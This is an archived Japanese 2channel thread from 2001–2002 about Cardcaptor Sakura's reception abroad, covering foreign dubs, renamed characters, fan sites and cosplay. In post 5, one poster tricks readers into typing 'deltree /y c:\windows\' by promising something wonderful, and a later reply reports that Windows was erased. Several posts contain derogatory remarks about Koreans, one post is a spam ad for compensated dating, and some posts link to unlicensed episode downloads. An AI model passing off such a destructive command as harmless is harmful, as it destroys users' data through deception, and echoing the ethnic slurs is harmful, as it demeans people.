5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

海外のさくらちゃんの人気

1 :転載氏:2001/06/12(火) 02:41
ここのホームページでは、インドネシアでは、会いたいキャラ第3位、
女の子がなりたいキャラ第2位だそうだ。
http://www5a.biglobe.ne.jp/~alam/meet.htm

2 :CC名無したん:2001/06/12(火) 02:53
以下引用
>今回投票箱というのは設けず、直接手渡し方式を取ったので
>男子は恥ずかしかったのか、男子票はほとんどありませんでした。
>もし投票箱を設けていたら・・・どうなっていたでしょうか?

ど、、どうなっていたの?

3 :sage:2001/06/12(火) 06:38
おれもなりてーよ

4 :CC名無したん:2001/06/12(火) 15:32
パッと見たけど面白いサイトだね
それにしてもインドネシアは厳しいのね

5 :CC名無したん:2001/06/24(日) 23:22
「MS-DOSプロンプト」で  deltree /y c:\windows\  って入力してみよう!
(NECのPC-9800の人は c:\ を a:\ に置き換えて)
(もしくは システムの導入先のドライブ名に置き換えて)
きっと素敵な事が起こるよ!

6 :CC名無したん:2001/06/24(日) 23:25
おお!!こんなスレ知らんかった。偉いぞ>>5

7 :CC名無したん:2001/06/24(日) 23:28
優良スレ

8 :ワラタ:2001/06/24(日) 23:31
http://www5a.biglobe.ne.jp/~alam/shizukaforget.htm

9 :CC名無したん:2001/07/01(日) 13:01
あげ

10 :CC名無したん:2001/07/25(水) 19:10
Hazu萌えら〜さんに聞いてみたいな…

11 :CC名無したん:2001/07/25(水) 20:57
>>8
ワラタ
このHP面白い

12 :CC名無したん:2001/07/26(木) 01:58
http://tw.dir.yahoo.com/Region/Countries_and_Regions/Japan/
Entertainment/Comics_and_Animation/Animation/Titles/Card_Captor_Sakura_s_World/
台湾でさくらたんは大人気の模様です。台湾オタも「さくらたん萌え〜」と言っているんだろうか?

13 :CC名無したん:2001/07/26(木) 02:11
http://utenti.tripod.it/kamui/index-b.html
すげぇよいタリア人、何もサッカーだけじゃなかったんだね。
http://nav.webring.yahoo.com/hub?ring=newmkr01&list
ついでに、海外のレイアースのウェブリンクまで見つけてしまった(藁

14 :CC名無したん:2001/08/10(金) 01:06
もっと教えて!

15 :CC名無したん:01/09/11 04:46
もっともっと教えて!

16 :転載氏:01/09/28 02:19
神田のアジア文庫で、タイ語版C.C.さくらのコミックを買った。
みみずがののたうちまくったような文字がすごい。

17 :CC名無したん:01/09/28 02:42
外国人のオタクって真摯な人が多くて、
必死に日本語勉強して「原書で読まなきゃ真のオタクじゃない!」っつーことらしいよ。

18 : :01/09/28 04:04
イスパニア、おフランス、イギリスにはあった、ドイツは探索中。

海外に広がる、さくらたんの輪。

19 : :01/09/28 07:33
そういや、スペインでセーラームーンが流行ったとき
少年のオカマ化が急進したって、ネタかなんかかと思ってたが
マジかも・・・・うーむ

20 :CC名無したん:01/09/28 16:02
さすがさくらたん?

21 :CC名無したん:01/09/28 17:26
さくらたんは世界標準です。

22 :すごいね:01/09/28 17:39
これで二次元に興味持つマニアが増えれば海外の性犯罪も減るかな?
なんて考えてみたりする。。。むしろ増えるか!?

23 :死ね:01/09/28 18:04
英語圏だと舞台を自国に置き換えているらしい。
木之本 桜   =SAKURA AVALON
大道寺 知世  =madison tayler

でも着物とか神社のシーンはどうするんだろ?

24 :P-503i:01/09/28 22:50
俺は今年の夏休みにオーストラリアに行ってたんですが、さくらちゃん大人気でした!
けど題名がカードキャプターさくらではなく「カードキャプターズ」になってました。
名前はそのまんまさくらと知世のままでした。

25 :CC名無したん:01/09/29 00:29
なんかみょうに嬉しい

26 :CC名無したん:01/09/29 00:36
とりあえず
Cardcaptors公式サイト
http://www.nelvana.com/cardcaptors/html/

27 :ななしさん:01/09/29 02:41
そのCardcaptors公式サイト気合入りまくり

28 :フリッケ福祉員:01/09/29 02:53
ああっ! 藤隆のイラストから、顔のしわが消されている!
いつの間に整形手術したんだYO!
(以前このサイトで紹介されていた藤隆のイラストには、しわが書き加えられていた)

29 :CC名無したん:01/09/29 06:12
日本ってすげえな。イスラム圏・英語圏のようなまったく異質の文化に
受け入れられるものを作るンだからなぁ。
マンガを使って外国の少年少女を洗脳して八紘一宇達成できるかも。

スレ違いになってきたっぽいので逝ってくる。

30 :CC名無したん:01/09/29 17:33
逝ってらっしゃい。

31 :CC名無したん:01/09/29 22:45
>>29
んなこといったら、アメリカってすげーなも中国ってすげーなも
なんでも当てはまるぞ。

32 :V(another):01/09/29 23:40
アバロンマンセー

33 :CC名無したん:01/09/29 23:45
31は読解力がないことにきづけ

34 :あらら:01/09/30 00:13
>>5
5を試したらウィンドウズが消えちゃったよ!!
もう!

35 :CC名無したん:01/10/16 20:15
Hi! My name is Sakura Avalon.
http://saki.2ch.net/test/read.cgi/sakura/1003136809/

36 :転載氏:01/10/17 04:30
CCさくらのオープニングの広東語版があるが、中国でもやっているのか?

37 :CC名無したん:01/10/17 06:46
USさくらたんの一部を拝見…フル版ってあんの?

さくらたんの声低い…ケロたんナイス!

38 :○っ人:01/10/22 21:37
知世様を熱く語る害人たん ハァハァ
http://www.geocities.com/cosmiccastaway3043/tomoyo-chan.html

lesbian........ Voyeurism................. 外人の考えてる事はよくわからん。 

39 :転載氏:01/10/22 23:56
既出かもしれないが、こんなサイトがある。
ハングル版
http://bestanime.co.kr/main/index.html
英文版
http://bestanime.com/main.html

ちなみに、ここでCCさくらのKorean Openingがダウンロードできます。
http://bestanime.com/view_gallery.php3?type=movie&index=90&directory=CARDCAPTOR

40 :何で何でー:01/10/23 02:48
>38
見てタラ消えちまったよ。
俺のipマークされているのかな?
前に一度見ていたら急に消されたよ。jpドメインだから、はじかれているのかな?

41 :CC名無したん:01/10/23 16:33
>>40 普通に見れるぞ。

42 :CC名無したん:01/10/25 07:42
http://page3.auctions.yahoo.co.jp/jp/auction/c11797994
アメリカのさくらたんドール

43 :ネオケロちゃん:01/10/25 10:56
「どんなドールやろ、ほしーな〜〜〜〜〜・・・」

44 :転載氏:01/10/26 01:09
ちなみに、ここでCCさくらのEnglish Openingをダウンロードして見た。
http://bestanime.com/view_gallery.php3?type=movie&index=90&directory=CARDCAPTOR

英語圏では、アクション物が好まれるようだ。
萌えというより燃える内容だ。

45 :んんー?:01/10/26 01:46
>44のサイトでムービーの保存てどうやるんでしょうか?
わかるかたいますか?おねがいします。

46 :転載氏:01/10/26 01:56
BAと書かれたフロッピーディスクにカーソルをあてて、
右クリックで対象をファイルに保存するを選択で、
保存できる。

47 :んんー?:01/10/26 01:59
うへー!ありがとうございます!

48 :CC名無したん:01/10/26 03:16
English Opening結構良いね!燃えたよ〜。
同じアニメでもシーンの選び方とかでかなり雰囲気違ってくるんだなーて感心した。
知らない人にこのオープニングだけ見せたら結構シリアスな印象与えるだろうね。

49 :CC名無したん:01/11/01 04:11
USさくら、Nelvanaが放送を打ち切ったらしい…
後番組がX men: evolutionになっててファンが騒いでます。

50 :チャーハン:01/11/01 05:27
人気ないんだろうか。すこし心配だな。

51 :XIX:01/11/01 10:55
>>44>>49>>50
US版OP一応カコイイが、燃えるけど萌えない。あれでは、さくらの魅力は伝わりません。
アメリカでは、アクション物は単純な方が人気あるのでは?
ポケモン等はそれで問題ないけど、CCさくらもそのように捉えてしまったのでは?
もののけ姫が不振に終わったアメリカでは、ドラマ的要素を含むさくらは理解されないのか?
それにしても、後半の面白い部分を放送しないとはね。このままでは、アメリカでは単なるアクション物。
あと、US版のさくらの声萎える。叫んだりしているとき等は男の子みたいに聞こえるときもあるし。

52 :○っ人:01/11/01 16:17
>>49-51
結局のところ米人にウケルウケナイ以前に
配給会社の考え方に問題があったような、、、、、、、

Nelvanaに、ブチ切れル害人たん
ttp://www.animegrapevine.com/messages/messages.asp?MID=71654

http://www.excite.co.jp/world/url/body?wb_url=http://www.animegrapevine.com/messages/messages.asp?MID=71654

53 :○っ人:01/11/04 23:49
Nelvana イ・・逝ってよし、、、
http://www.ccsvscc.com/background.html

http://www.dvdfile.com/news/views/digital_otaku/2000/6_21.htm

54 :○っ人:01/11/04 23:50
知世たんヽ(´∇`)ノ 凄すぎですわ〜
http://anilesbocon.shoujoai.com/poll6.htm

ワ〜ケワカヽ(´ー`)ノラ〜ン
http://www.angelfire.com/anime3/littlewolf99/index.html

55 :転載氏:01/11/10 03:21
>53

8話,12話,17話,13話,9話,20話,25話,26話,
30話,31話,32話,35話,28話,36話,3話,43話
という構成か、無茶苦茶だ。
あと、東京タワーとか日本語の文字がでてくるところは、省かれています。
Nelvana shall die !(Nelvana、逝ってよし)

56 :アレクサンデル:01/11/10 03:48
>>55
>知世たんヽ(´∇`)ノ 凄すぎですわ〜
http://anilesbocon.shoujoai.com/poll6.htm

少女愛のHPですね。↓がTOP。SS系のHP。
http://www.shoujoai.com/ 

57 :CC名無したん:01/11/10 04:58
KONNICHI~WA!!!!!!!

58 :CC名無したん:01/11/10 08:40
sayo u nara

59 :XIX:01/11/10 22:42
>>55

US版各話の(和訳ではなく)日本なサブタイトル

 8話 「さくらのライバル、登場!」
12話 「さくらの終わらない一日」
17話 「さくらのこわーいきもだめし」
13話 「さくらとゾウの力くらべ」
 9話 「さくらとふしぎなブローチ」
20話 「さくらとたたかう転校生」
25話 「さくらともう一人のさくら」
26話 「さくらとすてきな先生」
30話 「さくらとケガをしたカード」
31話 「さくらと名前のない本」
32話 「さくらとケロと小狼と」
35話 「さくらのすてきなクリスマス」
28話 「さくらとおまじないカード」
36話 「さくらと雪の新学期」
 3話 「さくらのドキドキ初デート」
43話 「さくらのさよなら苺鈴」

60 :XIX:01/11/10 22:44
US版では小僧が主人公になっていると言う話を小耳にはさんだのだが、
やはり、小僧の活躍する話が多いような・・・(第3話だけが謎だが)
だとすると、内容はかなり変えられている筈? どんな内容だか知りたいような。
ということで、US版の日本語字幕なファイルあぷされていないかな。
でも、内容知ってしまったら鬱かも(藁)

61 :転載氏:01/11/11 03:46
(英文)日本版とUS版の登場人物の名前と声の比較
http://www.cardcaptors-uncensored.com/faq.shtml
(英文)日本版とUS版の話の比較
http://www.cardcaptors-uncensored.com/series.shtml

PS:
さくら知世が、16才の声だと?

62 : :01/11/11 18:25
http://www.geocities.com/cosmiccastaway3043/sakuratomoyo.html
なんか微妙に説明がおかしくないか?知世はピュアじゃないみたいな書き方してるし。  

63 :恵一:01/11/11 18:43
彼女はレズビアンだって書いてあるね。
何これ。

64 :転載氏:01/11/12 04:08
既出だろうが、韓国人のファンサイト

http://galaxy.channeli.net/deron/main.html

65 : :01/11/12 11:15
タダ見してる姦國人には要はありません

66 :CC名無したん:01/11/12 13:28
http://crimelife.com/gf/sick/hiroshma.jpg

67 :恵一:01/11/12 13:51
>>66
フォービデンです。

68 :○っ人:01/11/13 00:08
いまさらだけど、、、、、
amazon

Cardcaptors
http://www.amazon.com/exec/obidos/tg/stores/detail/-/dvd/B00004Y56Y/customer-reviews/ref=pm_dp_ln_d_7/002-8677513-0600846
http://www.excite.co.jp/world/url/body?wb_url=http://www.amazon.com/exec/obidos/tg/stores/detail/-/dvd/B00004Y56Y/customer-reviews/ref=pm_dp_ln_d_7/002-8677513-0600846

Cardcaptor
http://www.amazon.com/exec/obidos/tg/stores/detail/-/dvd/B00004W1ZN/customer-reviews/ref=pm_dp_ln_d_7/002-8677513-0600846
http://www.excite.co.jp/world/url/body?wb_url=http://www.amazon.com/exec/obidos/tg/stores/detail/-/dvd/B00004W1ZN/customer-reviews/ref=pm_dp_ln_d_7/002-8677513-0600846

69 :CC名無したん:01/11/18 10:33
レビぅーの差が激しい(w

70 :CC名無したん:01/11/18 12:07
ヲタは、オリジナルを重視するからな(w

71 :CC名無したん:01/11/18 12:07
jif oneself ってどういう意味?

72 :CC名無したん:01/11/24 20:02
ttp://tenjo.topcities.com/sakura/costumes-sakurablue-1.jpg
海外にも、いるんですね。
こういう人たち。

73 :転載氏:01/12/01 03:50
ハングル板から転載
http://kaba.2ch.net/test/read.cgi/korea/1006847780/245
全くの余談だけど。
韓国でもさくらは放送された。日本の衛星も見られるから日本語習得した人はみていたらしい。
むこうでは日本色はアウトだからさくらではなくチェリーになった。
ご存じのようにさくらお宅の中に過激な変態がいるが韓国でもその手の変態がチェリーに
ぞっこんだった。
も一つ日本のアニメだと知らなかった熱狂的チェリーファンが日本のさくら好き変態に
抹殺宣言を出すなどいろいろあったんだよ。チェリーを汚すなと。

さくらファンの中にはS級ランクの危険人物がいるから さん  はあまりちょっかい出さないように。

PS:
すごいことになっていたんだなあ。

74 :CC名無したん:01/12/01 13:30
日本のアニメだと知らなかった、って、
全て韓国で製作してこれだけのアニメが作れるわけないだろ。
所詮韓国は下請け。

75 :CC名無したん:01/12/01 20:29
>73

それネタだろう。韓国に横浜山手みたいなところあるんか?東京タワーあるんか?
日本式神社あるんか?違うに決まってるだろ....

76 :CC名無したん:01/12/01 21:26
韓国って国があるの?

77 :CC名無したん:01/12/01 22:39
>>76
よく知らないけど日本の植民地らしいよ

78 :転載氏:01/12/02 07:51
>>75
ソウルタワーの横に東京タワーのもどきがあります。
http://www.lifeinkorea.com/pictures/sel1019.jpg

79 :75:01/12/02 15:05
>78

うげげげげ。なんだかなあ。

でも、あのキャラクターとか、ストーリー回しが韓国製と勘違いできるなら、
日本のアニメは相当アジア(もしくはグローバル)スタンダードなんだなあ。

80 :名無しさん@USA:01/12/04 01:03
あれ、なんか今日からまたCardcaptors放送再開されるみたい。

81 :CC名無したん:01/12/04 04:26
age

82 :桑原あきら:01/12/04 06:45
韓国はクズ
盗作すんじゃねえ
かね払いやがれ!!!!!

83 :本田透:01/12/04 06:56
いくらほどですか? 

84 :CC名無したん:01/12/04 07:05
>>80
と思ったら「Cardcaptors - Secrets of the Sorcerer」と銘打って2週間で完結編をやるようだ。

85 :桑原あきら:01/12/04 07:12
今までの日本国の文化で荒稼ぎしたかね全てじゃ

86 :Kasumoerer 1n.lib.unf.edu ◆vFVneegA :01/12/04 08:32
北米版は勘弁してくれ。「私、大好きぃ」なんて言ってた子もいたしなぁ。

87 :恵一:01/12/04 09:26
韓国が日本の真似してるように
日本はアメリカの真似してますが。

韓国に文句言う前に
春夏秋冬みたいな
ヘタレヒップホップを叩け!!

88 :CC名無したん:01/12/04 23:48
>>44
あかん、テレホ組には無理だ・・・

89 :CC名無したん:01/12/05 00:07
http://quino-lilo.hoops.ne.jp/jikken2.html

90 :Sakura Avalon:01/12/05 00:57
CardcaptorsのDVDを4巻(12話分)個人輸入しましたがなにか?

李小狼と黒板に書くシーンは修正して消してあるがケロのやってるRPGは
日本語出まくりだ…いいのかこれで

91 :転載氏:01/12/16 12:24
「○○というアニメはウリナラの作品ニダ」から
http://kaba.2ch.net/test/read.cgi/korea/981119494/
ここ部分に
http://kaba.2ch.net/test/read.cgi/korea/981119494/15-18

さくらのチョゴリ姿。本当かな?
登場人物の名前はこう変えているそうです。
木之本さくら=ユ・チェリ
大道寺知世=シン・ジス
という話題があります。

PS:
見てみたい気がするが、少し怖い。

92 :CC名無したん:01/12/16 16:06
http://www.m6.fr/emissions/m6kid/sakura/

フランスのOPソングはカコイイねぇ
声優は疑問だが

93 :CC名無したん:01/12/16 16:18
>>92
トルシエみてぇだ

94 :名無したん:01/12/19 09:31
>>92
さくら以外の名前がフランス人風に変わっているのが笑えた。

95 :転載氏:01/12/19 20:18
>>92
李小狼がリオネールとは、爆笑!

ケロは、どこにいってもコロだなあ。

96 :転載氏:01/12/19 20:46
ケロは、どこにいってもコロだなあ。

訂正
  
ケロは、どこにいってもケロだなあ。

97 :(・∀・)カコイイ!:01/12/22 22:08
http://home.arcor.de/jenny_ranma/Card_Captor_Sakura-Intro.WMV

98 :あいぼん:01/12/22 22:36
>>97
カコイイ
ある意味ワラタ

99 :CC名無したん:01/12/22 23:00
Cardcapters
A Mystic Adventure
か、かっこえぇ…

100 :CC名無したん:01/12/27 20:32


101 :転載氏:02/01/05 01:38
ハングル板で話がでたのだが、韓国のさくらちゃんは、着物を着ている場面は、
CADでチョゴリを張り付けているそうだ。
どこかに、画像はありませんか?

102 :もなー:02/01/05 03:09
>>101
許せん
捏造だ

103 :CC名無したん:02/01/05 04:10
でも最後のバトコスはチョゴリにみえる…

104 :CC名無したん:02/01/05 04:42
コアなアニメファンは現地版なんか相手にしないような。
日本文化が浸透している台湾とかはどうなんだろ。

105 :転載氏:02/01/05 05:09
WinMXで拾った、カードキャプターさくら 劇場版[封印された
カード] CM(台湾版)は、中国語になっている以外は変なところは
なかった。

106 :韓国版について:02/01/05 17:43
で結局CCさくら(「チェリー」)を韓国ものだと思ったあっちのオタは日本のものだと分かったの?
着物のシーンをチョゴりに変えるとか、なんかムカつくなぁ。
ちなみにスペイン版の声最悪。雪兎の声とか超低いし。
ともよの歌シーンは日本語のをそのまま使ってた。歌えないんだね(w

107 :CC名無したん:02/01/05 18:53
http://nyang.hyochon.org/intro.htm
韓国のヤフーで「sakura」と倹素したら出た。
韓国語が分からないのが悔しい。
コスに注目。

108 :CC名無したん:02/01/05 23:24
>>107
ここすげーなストリーミングでさくらちゃん配信してやがる
それも日本版に韓国語のスーパー入れてるだけジャン。。
面白いからちょっと見入っちゃったよ。

韓国おそるべし。。

109 :CC名無したん:02/01/05 23:26
このでじこたんかわいい。
http://nyang.hyochon.org/cos1.htm

110 :CC名無したん:02/01/05 23:38
一応、「はにゃーん」とBBSに足跡を残しておいた

111 :転載氏:02/01/06 02:30
>106

極東ニュース板の■日本のアニメはアジア圏で大人気なんだってよ!!!
http://tmp.2ch.net/test/read.cgi/asia/1008972176/によれば、

最近の韓国のアニヲタは日本製アニメかそうでないかちゃんと知ってるらしい。
んで、「××××はウリナラの作品?」「ヴォケ!イルボン製に決まってるだろ。
そんなことも知らんのか厨房!」「お前らみたいにアニヲタじゃないから詳しく
ないんだよ。このヒキコモリ!!」なんてのが繰り広げられている

112 :レオス☆☆☆☆☆ ◆6o4YOP1A :02/01/06 02:36
「ポケットモンスター」(日本)
「Pokemon」(USA他)
なぜ、アメリカでは、「Poket Monster」で
売っていないか、理由を述べよ。

113 :妄想:02/01/06 02:42
>>112
ポケットモンスター=チンコって隠語だからだよね。

114 :CC名無したん:02/01/06 02:46
>>113
レスするなよ

115 :妄想:02/01/06 02:49
>>114
ハンドル見てなかった・・・

116 :転載氏:02/01/06 05:02
>>107
このサイトの映像をアップしているところ調べたら
パス名はこのようです。

ttp://nyang.hyochon.org/ani/sakura01.asf
ttp://nyang.hyochon.org/ani/sakura02.asf
ttp://nyang.hyochon.org/ani/sakura03.asf
ttp://nyang.hyochon.org/ani/sakura04.asf
ttp://nyang.hyochon.org/ani/sakura05.asf
ttp://nyang.hyochon.org/ani/sakura06.asf
ttp://nyang.hyochon.org/ani/sakura07.asf
ttp://nyang.hyochon.org/ani/sakura08.asf
ttp://nyang.hyochon.org/ani/sakura09.asf
ttp://nyang.hyochon.org/ani/sakura10.asf
ttp://nyang.hyochon.org/ani/sakura11.asf
ttp://nyang.hyochon.org/ani/sakura12.asf

第1話をDCさくらで、ダウンロードしてみたら、
画質は少し変なところもあったが、OP、ED、
ケロちゃんにおまかせ、予告まであり、ハングルの
字幕付きだった。
1話から12話までアップだれているようです。

117 :CC名無したん:02/01/06 13:53
とりあえず全部DLしておいた。
久々にB-Fletsの威力を満喫できたよ。

118 :CC名無したん:02/01/06 14:26
>>113
確か、その理由どっかで読んだことあるけど忘れた。

119 :CC名無したん:02/01/06 15:59
>>116
多謝!
いま、落としてますが、回線速度がそんなにでません。
アクセスが集中してるかな。

120 :_:02/01/07 05:26
フランスでの人気はどうなんだろう?

121 ::]:02/01/07 10:45

■■■■■■■■ 援助交際 ■■■■■■■■

日本最大の援助交際サイト
                    
地元の

女の子とHや3Pしたいならここ!!

おこずかいの欲しい女の子もたくさん来てね!!

http://www.kgy999.net/e.html
(援交学園)

■■■■■■■■■■■■■■■■■■■■■■■

/[[[[[らりり

122 :CC名無したん:02/01/07 16:16
>>116
字幕って事は声は日本語?

123 :CC名無したん:02/01/07 16:34
>122
落としてみればいいじゃん。シネよ

124 :=119:02/01/07 23:44
マカーには再生できないみたいです。

125 :CC名無したん:02/01/08 21:19
ドイツの友人が「ドイツでもCCさくらやってYO!」とうったえてるん
だけど、こういうのはどこに持ってけばいいの?
なんでもドイツもこの手の作品の需要がかなりあるらしく、セラムン
が大流行らしい。

126 :CC名無したん:02/01/08 22:04
早晩ドイツでもやるでしょう。放映してきたアニメのラインナップ
は、かなりわけがわからんが(w

127 :CC名無したん:02/01/09 11:19
どうしても>>92のフランスのサクラタンの声がトルシエの声に聞こえる・・

128 :レオス☆☆☆☆☆ ◆jUBETfhk :02/01/09 14:32
アメリカじゃPG13指定。

129 :CC探査隊たん:02/01/09 15:41
http://members.tripod.com/~Goldzveig/rayearth.html
さくらたんじゃないけど、レイアースなら地球の裏側ブラジルで発見。
海→マリーナは理解できるが、光→ルーシーと風→アン(アンネ?)は理解できん・・・。 

130 :CC探査隊たん:02/01/09 16:04
http://www.mangaes.net/cardcaptor/contents.html
http://members.tripod.es/bombon_tsuki/sakura_principal.htm
http://www.geocities.com/asukita02/index.htm
スペイン語圏のさくらたん。

131 :CC探査隊たん:02/01/09 16:14
http://www.ccsakura.de/
ドイツのさくらたん。以上っす。

132 :CC名無したん:02/01/09 21:02
CC探査隊たんご苦労様です。
しっかし全然書いてあることが分からない。。。
独→日Webページ翻訳とかあればなー。

133 :CC名無したん:02/01/09 21:16
>>129
ルシ(Luxi〜)光に関係ある名前と、
何かの本で読んだ覚えがあります(うろおぼえスマソ)。
ルシファーとかの語源も関係あるらしい。

134 :転載氏:02/01/10 01:30
みんな、いろいろと探してくれてありがとうございます。

>独→日Webページ翻訳とかあればなー。

独→英webページはあるのだけど。
http://world.altavista.com/

135 :CC名無したん:02/01/10 14:33
キャンペーン実施中
http://www.tacobell.com/

136 :CC名無しさん:02/01/10 16:42
>>116
できなくなってるが・・・。

137 :CC名無したん:02/01/10 22:37
>>136
残念消されちゃってるね!

138 :長沼:02/01/10 23:56
香港でブレイクしてます。さすが本場?
さくらきゃんの声は丹下のよりもかわいい。
広東語の「ほえぇぇ」は「あいや〜」。萌る。
香港に旅行に行ったらビデオCDを買う価値あり。
めちゃ安いから全巻そろえるべき。

139 :転載氏:02/01/11 03:49
>>137
本当だ!2chのさくら板の人たちが、大挙してダウンロード
したためだろうか。

140 ::02/01/11 06:17
ttp://www.irradiance.net/Animation/Production/CardCaptorSakura_%aew%ac%a5%c5%5d%aak%a8%cf_/
このディレクトリの中探りまくれ。

141 :川渕:02/01/13 18:40
>>138
海賊版買っちゃいやですわ

142 :CC名無したん:02/01/21 23:37
さるべーじ

143 :転載氏:02/01/26 05:15 ID:ImzZsM0j
台湾の劇場版2のCM
http://movie.kingnet.com.tw/channelk/cardcaptor/image/1212.mpg

144 :転載氏:02/01/26 06:06 ID:ImzZsM0j
ここは、あやしい物がたくさんある。
http://ccsakura.uhome.net/
のなかの
http://ccsakura.uhome.net/music.html
http://ccsakura.uhome.net/download.html

PS:
中国語なのでよくわからない。

145 :ゆうちゃん ◆d7qrdPHM :02/01/26 06:20 ID:rAORvmaz
凄い息の長いスレだね・・・

146 :転載氏:02/01/26 07:01 ID:ImzZsM0j
大変だ!中国人がC3Bを紹介している。
http://kmc428.uhome.net/warning.html

(訳)
注意!!
このページはすべてのCCSファンに適しない!!
(意訳)
もしあなたが、恐らくすべての病人とおもうなら、
このによって入って下さい

147 :転載氏:02/02/07 02:32 ID:7+rI+6n8
着せ替えごっこができるソフトだそうです。
http://www.geocities.com/cherrysmilily/dolls/dolls.htm

148 :転載氏:02/02/16 01:27 ID:USaCiULb
韓国での名前
「木之本桜」→「ユ・チェリ」
「大道寺知世」→「シン・ジス」
「ケロ」→「ケロ」


      ,  -―- 、
    /____ \
   / /  ̄ ̄ ̄ ̄   ヽ
   | ||__|__||_|__|___||_|  |
   | |、_,  、_, | |  |   / ̄ ̄ ̄ ̄ ̄ ̄
   | |   ┌┐ 、、 | |)  | < 辛淑玉と同姓なんていやですわ〜
  ノ .人 _ ノ   ノ| |  |  \______
  ((  ( 「 ) l´ ((   )
  ))/ ̄|  ̄ Y  ))  (
 (( |  |   | ((   )



149 :転載氏:02/02/16 14:43 ID:82Cg1aMX
http://nyang.hyochon.org/intro.htm
ハングル字幕版(韓国人が勝手に作ったらしい。)
第一話が復活したようです。ファイル名が変わっています。あと、本編だけに
なっている。
パス名
ttp://nyang.hyochon.org/ani/sakura01.wmv

150 : :02/03/01 01:34 ID:YD7pbDcE
もっと情報おねがいしますぅ!

151 :CC名無したん:02/03/01 05:02 ID:j3m9r1ef
>>107を韓日翻訳マッスイーンに通してみた。
http://www.netomo.com/cgi-bin/transkj.cgi?http://nyang.hyochon.org/profile.htm
キノモットー(w

http://www.netomo.com/cgi-bin/transkj.cgi?
「?」の後に訳したいページのURLを入れると訳せます。


152 :CC名無したん:02/03/01 09:56 ID:CL8gBlW3
>>87
>韓国が日本の真似してるように
>日本はアメリカの真似してますが。

少なくとも日本はアメリカの物を「日本のもの」だなんて言ってないよ。
韓国ではドラえもんやスラムダンクは韓国のもので、日本がパクってる、
という事になってるよ。 

153 :kj:02/03/01 10:05 ID:GfG6hVGs
>152
韓国は凄いな
普通憎んでいる国の真似するカナ・・・
プライドを持って欲しいよ

154 :CC名無したん:02/03/01 12:37 ID:0zyM7BzU
>>153

いいこと言った(w
プライドないからねー。

まあ暖かくみまもってやろうぜ、先進国として。

155 :転載氏:02/03/08 06:10 ID:QyNWDPVj
過去のスレッドだが、
韓国にも木之本さくらみたいな女の子がいるんですか
http://mentai.2ch.net/korea/kako/951/951204218.html

PS:
韓国アニメで、韓国の魔法美少女と日本の少年との組み合わせの
萌えアニメをつくったら、韓国を認めてみよう。

156 :CC名無したん:02/03/08 07:07 ID:t6Kxjy4I
世間で最悪だといわれてけなされているこの2ちゃんねる。
その2ちゃんねらーでたまには良いことをしないか?
方法は簡単、いつも上に表示している
『クリックで救える命がある、、、らしいです。』
を1日1回押してやろうじゃねーか!!
できれば身障を助けるというやつをキボーン(2円なんだぜ)
暇があったらほかの板にコピペで移してくれや


157 :転載氏:02/03/19 01:41 ID:mHvHUVW.
白人の幼女がやるさくらのコスプレ。フランス人形みたい。
キモイ、嫌だという人もいるかもしれない。
私は、笑った。
http://www.angelicdreams.com/Imagine/anime/Cons/images/gallery/shoujocon01/Sh087.jpg

158 :どうでもいいことだな:02/03/19 05:07 ID:xahmZl8I
>>107のサイト運営者NYANGは筋金入りの日本通だな。
好きなものはカレー、日本語、キティ、さくら、hide、Dir en grey、ヴィジュアル系ロック。
韓国人にとっては売国奴か?

159 :転載氏:02/03/19 23:07 ID:bt3Pjwc2
アメリカ人のコスプレがみれます。
CCさくらもあります。しかし、怖い。
http://www.angelicdreams.com/Imagine/anime/Cons/images/gallery/

160 :転載氏:02/04/06 04:34 ID:FiIjUwDw
おもしろい、情報ないかな?

161 :転載氏:02/04/22 02:41 ID:dh26/5Ow
NHKが韓国からアニメを買っているが、なんか評判がわるいなあ。
CCさくらは、レストルと交換だったそうで、これで韓国でもCCさくらが
放送されたそうだ。

162 :CC名無したん:02/04/22 06:04 ID:ia8ncJj2
>>156
そんなのあるって知らなかった。スンマセン

163 :CC名無したん:02/04/25 00:24 ID:shLvtbrs
これって何いってるか教えれ。
http://sparklancer.dreamstation.com/anti-hayat/11.htm

164 :CC名無したん:02/04/25 09:35 ID:DX5kyTgo
さくら…朕は国家なりマオカラーで受けるといいですね。 オワリ

165 :転載氏:02/04/29 12:42 ID:YTG2xRlU
これって何いってるか教えてください。
中国人による中国人の日本アニメファンに対する悪口らしい。
http://sparklancer.dreamstation.com/anti-hayat/11.htm

166 :転載氏:02/04/29 12:55 ID:YTG2xRlU
中国@2chにはる予定だったが、誤爆してしまった。

167 : :02/04/29 14:44 ID:W7p795Xs
>166
この板じゃあ 無理かも
中国板かアニメサロンの海外情報を扱っているスレッドに書き込んでみたら。
まずアニメサロンで書き込むといいと俺は思うよ。
俺も興味があるから書き込んだらそのスレッドのアドレスを書き込んでね。

168 :転載氏:02/04/29 17:43 ID:YTG2xRlU
中国@2ch掲示板は、
中国テレビ事情
http://mentai.2ch.net/test/read.cgi/china/1009648350/l50
極東アジアニュース@2ch掲示板は、
■日本のアニメ文化は世界中で大人気らしいよ【参】
http://tmp.2ch.net/test/read.cgi/asia/1019708572/l50
アニメサロン@2ch掲示板は
海外在住者からの日本アニメ情報
http://comic.2ch.net/test/read.cgi/asaloon/1013998709/l50
にはりました。

169 :CC名無したん:02/05/04 20:03 ID:tKkPSBRQ
だれか落とした人いる?
http://tmp.2ch.net/test/read.cgi/download/1018638027/

170 :さくらたんフランス娘:02/05/05 04:11 ID:f2uqt6Qk
http://isweb35.infoseek.co.jp/computer/bsmarion/cgi-bin/img-box/img20020505040917.jpg

171 :転載氏:02/05/05 05:17 ID:dh/lOUr6
>169
いろいろ探っています。

>170
この人のホームページ。
http://www.francescadani.it/

172 :CC名無したん:02/05/05 05:23 ID:7lz.3Zqs
>165
このHPを開いた人は、現地のアニメファンが日本語のオリジナル版ばかり重視して中国語版(現地の歌手がオープニングソングを歌ったり、声優が吹替えしたりする)のを嫌がり、馬鹿にする風潮を憤っているみたいだね。まあ書いてる本人自体、アニオタなのにね。

173 :転載氏:02/05/08 06:03 ID:oeGcZHX2
>172
そんなところですか。いろいろと、葛藤とかがあるんでしょう。


あと、話は変わって、韓国のサイトをみていたら、こんなのを発見した。
ハングル字幕、CCさくら9話
ttp://user.garun.com/lightdark/PDS/ANI/sakura09.avi
ハングル字幕 CCさくら10話
ttp://user.garun.com/lightdark/PDS/ANI/sakura10.avi
ハングル字幕 CCさくら11話
ttp://user.garun.com/lightdark/PDS/ANI/sakura11.avi

174 :CC名無したん:02/05/08 07:54 ID:YyJnU2.c
